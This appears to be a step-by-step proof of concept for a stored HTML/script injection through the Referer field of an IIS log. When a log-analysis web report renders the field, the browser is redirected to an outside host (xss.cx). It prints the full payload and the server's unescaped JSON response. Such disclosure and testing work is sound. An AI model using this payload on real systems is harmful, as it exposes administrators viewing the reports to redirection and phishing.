Step 1: Test with an HTTP Logfile containing a URL-encoded String to the Referer Field with HTML Tags to be Rendered in a Browser:
http://www.bing.com/search?q=<html><head><meta http-equiv=\"refresh\" content=\"5;
url=http://xss.cx/\"><title>Loading</title></head>\n<body><form method=\"post\"
action=\"http://xss.cx/\" target=\"_top\" id=\"rf\"><input type=\"hidden\"
name=\"ic\" value=\"0\"><input type=\"hidden\" name=\"fb\" value=\"true\"/>
</form>\n<script>!function(e,t){var n,i;return!e.navigator&form=nnn
Step 2: Verify the Injected IIS Logfile
Step 3: Process the Logfiles, Select the Referer URL Report.
In an HTTP Proxy, watch the URLhttp://localhost:9999/Data/Reports/ReferringURLsWithQueries
when Browsing http://localhost:9999/Default.aspx in Chrome (current/stable).
Step 4: Verify the Result in your HTTP Proxy returned from the Server:
{"c":[{"v":"http://www.bing.com/search?q=<html><head><meta http-equiv=\"refresh\"
content=\"5; url=http://xss.cx/\"><title>Loading</title></head>\n<body>
<form method=\"post\" action=\"http://xss.cx/\" target=\"_top\" id=\"rf\">
<input type=\"hidden\" name=\"ic\" value=\"0\"><input type=\"hidden\" name=\"fb\" value=\"true\"/>
</form>\n<script>!function(e,t){var n,i;return!e.navigator&form=nnn"},{"v":"2","f":"2"}]}
In your Browser, the HTTP Response will cause a GET to xss.cx after 5 seconds. Verify in HTTP Proxy.
...
GET / HTTP/1.1
Host: xss.cx
...
Step 5: Watch your Browser get Redirected to XSS.Cx.
